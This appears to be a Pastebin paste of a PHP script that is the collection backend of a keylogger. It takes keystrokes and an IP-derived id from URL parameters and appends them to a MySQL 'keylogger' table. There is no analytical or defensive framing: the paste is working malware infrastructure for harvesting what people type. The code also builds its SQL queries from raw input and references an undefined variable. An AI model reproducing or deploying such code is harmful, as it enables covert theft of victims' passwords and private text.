Advertisement
Guest User

Untitled

a guest
May 11th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. <?php
  2. #in the specified database there needs to be a table setup
  3. #with 2 rows, IPID [type: TEXT] and KEYS_LOGGED [type: TEXT]
  4. $mysql_host = "";
  5. $mysql_user = "";
  6. $mysql_password = "";
  7. $mysql_database = "";
  8. function mquery($str) { $res = mysql_query($str) or die(); return $res; }
  9. mysql_connect($mysql_host, $mysql_user, $mysql_password) or die();
  10. mysql_select_db($mysql_database) or die();
  11. $rIP = $_SERVER['REMOTE_ADDR'];
  12.  
  13. $ipid = $rIP . '-' . $_GET['i'];
  14. $key = $_GET['k']; $tid = $_GET['t'];
  15. if ($key == "SPACE") { $key = ' '; }
  16. $res = mquery("SELECT * FROM keylogger WHERE IPID='$ipid'");
  17. if (mysql_num_rows($res) == 0) { mquery("INSERT INTO keylogger (TID, IPID, KEYS_LOGGED) VALUES('$tip', '$ipid', '$key')"); }
  18. else {
  19. $row=mysql_fetch_array($res);
  20. $logged=$row[1].$key;
  21. mquery("UPDATE keylogger SET KEYS_LOGGED='$logged' WHERE IPID='$ipid'");
  22. }
  23. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement